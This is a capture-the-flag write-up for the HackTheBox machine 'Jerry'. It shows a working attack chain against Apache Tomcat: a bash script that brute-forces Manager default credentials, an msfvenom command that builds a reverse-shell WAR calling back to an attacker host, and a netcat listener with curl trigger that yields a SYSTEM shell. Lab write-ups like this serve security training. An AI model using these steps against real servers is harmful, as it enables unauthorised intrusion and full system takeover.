# Jerry Writeup - HackTheBox

> Exploit default Tomcat credentials to upload a malicious WAR file, gaining a shell as SYSTEM on this beginner-friendly Windows machine.

- **URL:** https://hackindex.io/writeups/jerry
- **Platform:** HackTheBox
- **Difficulty:** Easy
- **Operating system:** Windows
- **Machine:** https://www.hackthebox.com/machines/jerry
- **Tags:** tomcat, privilege-escalation, default-credentials
- **Authors:** [Mohammad Meraj](https://hackindex.io/authors/mohammad-meraj.md)
- **Published:** 2026-08-06
- **Updated:** 2026-08-11

Jerry is a Windows box running Apache Tomcat 7.0.88 on a single exposed port. Default credentials on the Manager app give WAR deploy access, and since Tomcat runs as SYSTEM, deploying a malicious WAR lands a SYSTEM shell with no privilege escalation step required.

## Reconnaissance

```bash
rustscan -a $TARGET_IP
nmap -sCV -p8080 $TARGET_IP
# PORT     STATE SERVICE VERSION
# 8080/tcp open  http    Apache Tomcat/Coyote JSP engine 1.1
# |_http-title: Apache Tomcat/7.0.88
```

Single port. Apache Tomcat 7.0.88. Browsing to `/manager/html` returns a Basic Auth prompt.

## Default Credential Brute Force

The Tomcat Manager is reachable without IP restriction. Test against the known default-credential list from [https://github.com/netbiosX/Default-Credentials/blob/master/Apache-Tomcat-Default-Passwords.mdown](https://github.com/netbiosX/Default-Credentials/blob/master/Apache-Tomcat-Default-Passwords.mdown) using a small script that base64-encodes each pair and checks the HTTP response code:

```bash
#!/bin/bash
while IFS= read -r cred; do
    [ -z "$cred" ] && continue
    encoded=$(echo -n "$cred" | base64)
    response=$(curl -s -o /dev/null -w "%{http_code}" \
        -H "Authorization: Basic $encoded" \
        http://$TARGET_IP:8080/manager/html)
    echo "$cred -> $response"
    [ "$response" -eq 200 ] && echo "[+] SUCCESS: $cred" && break
done < creds
```

```bash
./exp
# admin:password -> 401
# admin:admin -> 403
# tomcat:tomcat -> 401
# tomcat:s3cret -> 200
# [+] SUCCESS: tomcat:$TOMCAT_PASSWORD
```

`200 OK` on `tomcat:$TOMCAT_PASSWORD`. The Manager app is fully accessible including the WAR file deploy feature.

## Exploitation

### Malicious WAR payload

```bash
msfvenom -p windows/shell_reverse_tcp LHOST=$ATTACKER_IP LPORT=$ATTACKER_PORT -f war > rev_shell.war
jar -ft rev_shell.war
# META-INF/
# META-INF/MANIFEST.MF
# WEB-INF/
# WEB-INF/web.xml
# lwmffhnk.jsp
```

The WAR bundles a randomly-named JSP that triggers the reverse shell payload when requested. Note the JSP filename from `jar -ft` output as it changes each build.

### Deploy and trigger

Upload `rev_shell.war` through the Manager's WAR deploy field. Tomcat auto-deploys it under `/rev_shell`. Start a listener, then request the JSP to execute the payload:

```bash
nc -lvnp $ATTACKER_PORT
curl http://$TARGET_IP:8080/rev_shell/lwmffhnk.jsp
# connect to [$ATTACKER_IP] from (UNKNOWN) [$TARGET_IP] 49192
# Microsoft Windows [Version 6.3.9600]
#
# C:\apache-tomcat-7.0.88> whoami
# nt authority\system
```

SYSTEM directly through the initial foothold. Tomcat was running as `NT AUTHORITY\SYSTEM`, so no privilege escalation was needed.

Related

## References

- [Default Credentials](https://github.com/netbiosX/Default-Credentials/blob/master/Apache-Tomcat-Default-Passwords.mdown) - Apache Tomcat Public list of known default Tomcat Manager username and password combinations.
- [HackTricks](https://book.hacktricks.xyz/network-services-pentesting/pentesting-web/tomcat) - Tomcat Tomcat Manager WAR deploy exploitation and credential brute force techniques.